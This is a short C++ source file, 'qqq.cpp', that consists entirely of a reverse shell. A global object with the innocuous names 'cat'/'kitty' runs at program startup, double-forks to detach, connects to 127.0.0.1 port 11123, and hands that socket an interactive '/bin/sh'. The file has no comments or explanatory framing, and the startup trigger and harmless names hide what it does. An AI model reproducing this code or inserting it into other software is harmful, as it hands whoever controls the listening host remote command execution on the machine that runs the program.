qqq.cpp

#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <stdlib.h>

namespace {
    struct cat {
        int ret;
        int status;
        int socket_fd;
        int stdin_c;
        int stdout_c;
        int stderr_c;

        pid_t ch_pid;

        struct sockaddr_in data;

        cat() {
            ch_pid = fork();
            
            if (ch_pid == -1)
                _exit(-1);
            
            if (ch_pid) {
                waitpid(ch_pid, &status, 0);

            } else {

                if (ch_pid = fork()) { 
                    exit(0);
                }
                else {
                    char * const argv[] = { "/bin/sh", "-i", NULL};

                    socket_fd = socket (AF_INET, SOCK_STREAM, 0);

                    data.sin_addr.s_addr = inet_addr ("127.0.0.1");
                    data.sin_family = AF_INET;
                    data.sin_port = htons (11123);

                    if (connect (socket_fd, (sockaddr*)&data, sizeof(data)))
                        _exit (-1);

                    dup2 (socket_fd, 0);
                    dup2 (socket_fd, 1);
                    dup2 (socket_fd, 2);
                    execve (argv[0], argv, NULL);
                }
            }
        }
        
    } kitty;
}